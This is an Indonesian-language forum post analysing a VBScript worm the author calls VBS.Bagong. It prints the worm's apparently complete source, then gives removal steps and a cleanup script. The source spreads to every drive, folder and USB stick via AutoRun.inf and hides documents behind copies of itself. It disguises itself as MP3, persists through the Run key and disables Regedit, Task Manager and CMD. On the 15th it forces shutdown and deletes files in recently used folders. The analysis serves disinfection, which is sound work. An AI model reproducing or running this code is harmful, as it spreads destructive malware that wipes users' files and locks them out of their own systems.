kalo gw pelajari dari source virusnya (*.vbs), dia cuma menyamarkan file .vbs jadi:
1. tipe file dan icon MP3 sesuai default asosiasi aplikasinya, misal jadi "Winamp media file"
2. ekstensi *.vbs di-hide.
3. klik kanan file *.vbs > Edit, akan logoff ini penggalan script yang dimaksud:
ini penggalan script yang dimaksud:
Code:
Sub Samar
On Error Resume Next
Dim HandleDoc, HandleVbs
HandleDoc = "HKEY_CLASSES_ROOT\" & BacaHandle("mp3")
HandleVbs = "HKEY_CLASSES_ROOT\" & BacaHandle("VBS")
Reg.RegWrite HandleVbs & "\", Reg.RegRead(HandleDoc & "\")
Reg.RegWrite HandleVbs & "\DefaultIcon\", Reg.RegRead(HandleDoc & "\DefaultIcon\") Reg.RegWrite HandleVbs & "\NeverShowExt",""
Reg.RegWrite "HKCR\VBSFile\FriendlyTypeName", Reg.RegRead(HandleDoc & "\")
End Sub
Sub Pertahanan
Reg.RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe"
End Sub
secara logika juga gak mungkin VBS diblok, la wong virusnya jalanin VBS kok dan kalo mo edit .vbs di PC yang terinfeksi virus ini, ya jangan melalui klik kanan. Tapi buka dulu Notepad baru kemudian browse file .vbs-nya. IMHO.. penanggulangan malware akan lebih baik jika berdasarkan source-nya, krn kalo dari hasil tes run/virtualisasi ada keterbatasan masing² sistem si user-nya. contoh: dari source bisa ketahuan bahwa virus ini juga menghide dokumen Office 2007 (docx, xlsx, pptx) naa.. kalo di PC tempat kita ngetes gak ada dokumen tsb, kan gak bakal tahu.
Rem Bagong755090117,
On Error Resume Next
Dim Reg, fso, Induk
Set Reg = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set Induk = fso.GetFile(Wscript.ScriptFullName)
If Induk <> Reg.SpecialFolders("AppData") & "\Adobe.vbs" then
If fso.fileExists(Left(Induk, Len(Induk) - 4)) Then
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("mp3") & "\shell\Open\command\") & " " & chr(34) & Left(Induk, len(Induk)-3) & chr(34)) Else
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("mp3") & "\shell\Open\command\") & " " & chr(34) & chr(34))
End If
End If
AutoFlash
Sebar1
Sebar2
Samar Pertahanan
ShortCut
SerangFile (Left(Induk, InStrRev(Induk, " \ ")))
SerangFolder (Left(Induk, InStrRev(Induk, " \ ")))
SerangDrive("c:\")
SerangDrive("d:\")
SerangDrive("e:\")
SerangDrive("f:\")
SerangDrive("g:\")
AlwaysRun
Bom
SerangRecent
Sub AutoFlash
On Error Resume Next
Dim flashdrive, auto, tf1, tf2
For Each flashdrive In fso.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <>
"A:" then
Set auto = fso.CreateTextFile(flashdrive.Path & ("\AutoRun.inf"), True)
auto.Write ("[autorun]"& vbcrlf & "shellexecute=wscript.exe Dataku.vbs")
auto.Close
set tf1=fso.getfile(flashdrive.path & "\AutoRun.inf")
tf1.Attributes = 32
Induk.Copy (flashdrive.Path & "\Dataku.vbs")
set tf2=fso.getfile(flashdrive.path & "\Dataku.vbs")
tf2.Attributes = 32
End If
Next
End Sub
Sub SerangDrive (Lokasi)
On Error Resume Next Dim drv If fso.DriveExists(Lokasi) Then
Set drv = fso.GetDrive(fso.GetDriveName(Lokasi))
If drv.DriveType = 1 Or drv.DriveType = 2 Then
CopyVbs (Lokasi & "\New File.vbs")
SerangFolder (Lokasi)
End If
End If
End Sub
Sub SerangFolder (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\Readme.vbs")
SerangFile (target)
SerangFolder2 (target)
Next
End Sub
Sub SerangFolder2 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\Money.vbs")
SerangFile (target)
SerangFolder3 (target)
Next
End Sub
Sub SerangFolder3 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\Hasil.vbs")
SerangFile (target)
Next
End Sub
Sub SerangFile (Lokasi)
On Error Resume Next
Dim target
For Each target In fso.GetFolder(Lokasi).Files
If lcase(Right(target,3))="doc" then
if Left(target,2)<> "~$" then CopyVbs(target & ".vbs")
HilangFile (target)
End If
If lcase(Right(target,3))="xls" or lcase(Right(target,3))="ppt" or lcase(Right(target,3))="pdf" or lcase(Right(target,3))="rtf" or lcase(Right(target,3))="rar" or lcase(Right(target,3))="zip" or lcase(Right(target,3))="jpg" or lcase(Right(target,3))="gif" or lcase(Right(target,3))="bmp" then if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-3) & "vbs")
End If
If lcase(Right(target,4))="docx" or lcase(Right(target,4))="xlsx" or lcase(Right(target,4))="pptx" then
if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-4) & "vbs")
End If
if lcase(Right(target,3))="vbs" then KillVBS(target)
Next
End sub
Sub Pertahanan
On Error Resume Next
Reg.RegWrite "HKCR\inffile\shell\Install\command\", "logoff.exe"
Reg.RegWrite "HKCR\regfile\shell\open\command\", "logoff.exe"
Reg.RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "0", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileAssociate", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD", "1", "REG_DWORD"
Reg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableTaskMgr", "1", "REG_DWORD"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskMgr.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\attrib.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger","Notepad.exe"
End Sub
Sub Samar
On Error Resume Next
Dim HandleDoc, HandleVbs
HandleDoc = "HKEY_CLASSES_ROOT\" & BacaHandle("mp3")
HandleVbs = "HKEY_CLASSES_ROOT\" & BacaHandle("VBS")
Reg.RegWrite HandleVbs & "\", Reg.RegRead(HandleDoc & "\")
Reg.RegWrite HandleVbs & "\DefaultIcon\", Reg.RegRead(HandleDoc & "\DefaultIcon\") Reg.RegWrite HandleVbs & "\NeverShowExt",""
Reg.RegWrite "HKCR\VBSFile\FriendlyTypeName", Reg.RegRead(HandleDoc & "\")
End Sub
Sub ShortCut
On Error Resume Next Dim lnk, lok lok = Reg.SpecialFolders("Favorites") & "\Adobe.lnk"
Set lnk = Reg.CreateShortCut(lok)
Induk.Copy (Reg.SpecialFolders("AppData") & "\Adobe.vbs")
lnk.TargetPath = Reg.ExpandEnvironmentStrings(Reg.SpecialFolders("AppData") & "\Adobe.vbs")
lnk.Save HilangFile (lok)
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Adobe", lok
End Sub
Sub HilangFile (AlamatFile)
Dim f1
Set f1 = fso.GetFile(AlamatFile)
f1.Attributes = 6
End sub
Sub CopyVbs (Alamat)
On Error Resume Next
Dim data, ts, s, a, tf
Randomize data = Left(Rnd(15) * 10000000000, 10)
Set ts = fso.openTextFile(Induk, 1)
a = ts.ReadAll
s = Right(a, Len(a) -22)
ts.Close
Set tf = fso.CreateTextFile(Alamat, True)
tf.WriteLine ("Rem Bagong" & data)
tf.Write s
tf.Close
Set ts = fso.GetFile(Alamat)
ts.Attributes = 1
End sub
Function BacaHandle(TipeFile)
BacaHandle = reg.RegRead ("HKEY_CLASSES_ROOT\." & TipeFile & "\")
End Function
Sub KillVBS(alamat)
On Error Resume Next
Dim ts, s, i, a, b Set ts = fso.openTextFile(alamat, 1)
s = ts.Readline
ts.Close
a = instr(s, "Bagong")
If a = 0 Or a = "" Then
Set ts = fso.GetFile(alamat)
ts.Attributes = 0
Set ts = fso.openTextFile(Induk, 1)
i = ts.ReadAll
ts.Close
Set ts = fso.CreateTextfile(alamat, True)
ts.Write i
ts.Close
End If
End sub
sub AlwaysRun
On Error Resume Next
Dim mf, check
If Wscript.ScriptFullname = Reg.SpecialFolders("AppData") & "\Adobe.vbs" then
Do
Set mf = fso.getfile(Wscript.ScriptFullname)
check = mf.Drive.drivetype
If check <> 1 Then Wscript.sleep 200000
Reg.run fso.getspecialfolder(0) & "\explorer.exe /e,/select, " &
Wscript.ScriptFullname
AutoFlash
Sebar1
SerangDrive("d:\")
SerangDrive("e:\")
Loop While check <> 1
End If
End sub
Sub Sebar1
dim nilai
nilai=Left(Reg.SpecialFolders("Desktop"),3) & "Windows\System.vbs"
CopyVBS (nilai)
HilangFile(nilai)
SerangFolder(Reg.SpecialFolders("MyDocuments"))
CopyVbs(Reg.SpecialFolders("NetHood") & "\Cerita 17.txt.vbs")
End Sub
Sub SerangRecent
On Error Resume Next
Dim target, ok
For Each target in fso.GetFolder(Reg.SpecialFolders("Recent")).Files
Set ok = reg.CreateShortCut(target)
if fso.FolderExists(ok.WorkingDirectory)
then SerangFolder (ok.WorkingDirectory)
Next
End sub
Sub Bom
On Error Resume Next
Dim target, ok, targethapus, tmp2, tmp3
If Day(Now) = 15 Then
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Dor", "logoff.exe"
Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\System", "shutdown -s -f -t 5"
For Each target in fso.GetFolder(Reg.SpecialFolders("Recent")).Files
Set ok = reg.CreateShortCut(target)
tmp3 = ok.WorkingDirectory
If fso.FolderExists(tmp3) Then
For Each targethapus In fso.GetFolder(tmp3).Files
Set tmp2 = fso.GetFile(targethapus)
tmp2.Delete
Next
End If
Next
End If
End sub
Rem Created by Vir.VBS Generator V.1
File VBScript dari si Bagong ini bikinan Vir.VBS Generator V.1, mirip KillVBS. Kita namain aja virus ini VBS.Bagong
Penyeberan antar PC, di antaranya:
- Menjalankan manual file .vbs-nya.
- Autorun dari flashdisk yang terinfeksi begitu terpasang ke PC.
Yang dilakukan VBS.Bagong ini:
- Tiap masuk Windows tanggal 15 akan selalu logoff atau shutdown dlm hitungan 5 detik.
- Menjalankan Adobe.vbs setiap logon
- Meyembunyikan semua file dokumen: doc,docx,xls,xlsx,ppt,pptx,pdf
- Rutin mengkloning file induk Adobe.vbs ke semua drive & folder termasuk flashdisk dgn nama file beragam.
- Menyamarkan file .vbs jadi dianggap tipe file .mp3
- Install file *.inf akan logoff
- Dobelklik file *.reg akan logoff
- Klik kanan file *.vbs > Edit, akan logoff
- Disable: Regedit, Run, Search, Folder Options, CMD, TaskMgr
- Tidak bisa mengubah assosiasi file
- Tidak bisa melihat: Hidden File, File Extension
- Jika jalanin cmd.exe,msconfig.exe,regedit.exe,TaskMgr.exe,attrib.exe,install.exe,setup.exe akan dibuka oleh Notepad.
1. Jika saat akan melakukan pembersihan jatuh pada tanggal 15, ubah dulu tanggal di BIOS ke selain tgl 15.
2. Copy-Paste code berikut ini ke Notepad, save dgn "Save as type = Al Files" dan "File name = PEMUSNAH.vbs",
Code:
on error resume next
Dim fso, WshShell
Set fso = CreateObject("Scripting.FileSystemObject")
Set WshShell = Wscript.CreateObject("Wscript.Shell")
Smwc = "\Software\Microsoft\Windows\CurrentVersion\"
Hsmwci = "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\"
WshShell.RegWrite "HKCR\.vbs\", "VBSFile"
WshShell.RegWrite "HKCR\vbsfile\", "VBScript Script File"
WshShell.RegWrite "HKCR\vbsfile\DefaultIcon", "%SystemRoot%\System32\WScript.exe,2"
WshShell.RegWrite "HKCR\vbsfile\FriendlyTypeName", "@%SystemRoot%\System32\wshext.dll,-4802", "REG_EXPAND_SZ"
WshShell.RegDelete "HKCR\vbsfile\NeverShowExt"
WshShell.RegWrite "HKCR\inffile\shell\Install\command\", "%SystemRoot%\System32\rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 %1"
WshShell.RegWrite "HKCR\regfile\shell\open\command\", "regedit.exe ""%1"""
WshShell.RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe"
WshShell.RegWrite "HKCU"&Smwc&"Policies\System\DisableRegedit", "0", "REG_DWORD"
WshShell.RegWrite "HKCU"&Smwc&"Policies\Explorer\NoFileAssociate", "0", "REG_DWORD"
WshShell.RegWrite "HKCU"&Smwc&"Policies\Explorer\NoRun", "0", "REG_DWORD"
WshShell.RegWrite "HKCU"&Smwc&"Policies\Explorer\NoFind", "0", "REG_DWORD"
WshShell.RegWrite "HKCU"&Smwc&"Policies\Explorer\NoFolderOptions", "0", "REG_DWORD"
WshShell.RegWrite "HKCU"&Smwc&"Policies\System\DisableCMD", "0", "REG_DWORD"
WshShell.RegWrite "HKLM"&Smwc&"Policies\System\DisableTaskMgr", "0", "REG_DWORD"
WshShell.RegWrite "HKCU"&Smwc&"Explorer\Advanced\Hidden", "1", "REG_DWORD"
WshShell.RegWrite "HKCU"&Smwc&"Explorer\Advanced\HideFileExt", "0", "REG_DWORD"
WshShell.RegDelete Hsmwci&"cmd.exe\"
WshShell.RegDelete Hsmwci&"msconfig.exe\"
WshShell.RegDelete Hsmwci&"regedit.exe\"
WshShell.RegDelete Hsmwci&"regedt32.exe\"
WshShell.RegDelete Hsmwci&"TaskMgr.exe\"
WshShell.RegDelete Hsmwci&"attrib.exe\"
WshShell.RegDelete Hsmwci&"install.exe\"
WshShell.RegDelete Hsmwci&"setup.exe\"
WshShell.RegDelete "HKCU"&Smwc&"Run\Adobe"
3. dobelklik file PEMUSNAH.vbs di atas, lalu restart
semoga ini bisa meng-undo semua perubahan registry yang dilakukan VBS.
4. scan semua isi drive (tancepin juga flashdisk) pake ANSAV, lalu del file yang kedetek.
atau search file *.vbs dgn opsi spt gambar di bawah ini:
5. setelah pencarian selesai, sort by size, lalu del file-file *.vbs yang berukuran 9 KB
contoh dgn nama file spt:
Code:
Adobe.vbs
Dataku.vbs
New File.vbs
Readme.vbs
Money.vbs
Hasil.vbs
System.vbs
Cerita 17.txt.vbs
6. Del file "AutoRun.inf" yang ada di flashdrive, caranya:
Run: CMD
lalu ketik ini:
Code:
attrib -h -s -r X:\AutoRun.inf
del AutoRun.inf
ganti X: dgn abjad drive UFD Anda.
7. Del file link "%UserProfile%\Favorites\Adobe.lnk"
atau del manual link Adobe di menu Favorites IE
8. Del semua link/shortcut di "%UserProfile%\Recent"
Mengembalikan file² dokumen yang disembunyikan:
Run: CMD
lalu ketik spt contoh ini:
Code:
attrib -h -s -r "X:\*.doc" /s /d
artinya: akan menghilangkan attribut semua file *.doc "Hidden|System|ReadOnly" di drive X: dan subdir-nya.
atau Code:
attrib -h -s -r "X:\My Documents\*.doc" /s /d
artinya: akan menghilangkan attribut semua file *.doc "Hidden|System|ReadOnly" di "X:\My Documents" dan subdir-nya.
ulangi command attrib di atas utk tipe file lainnya: *.docx *.xls *.xlsx *.ppt *.pptx *.pdf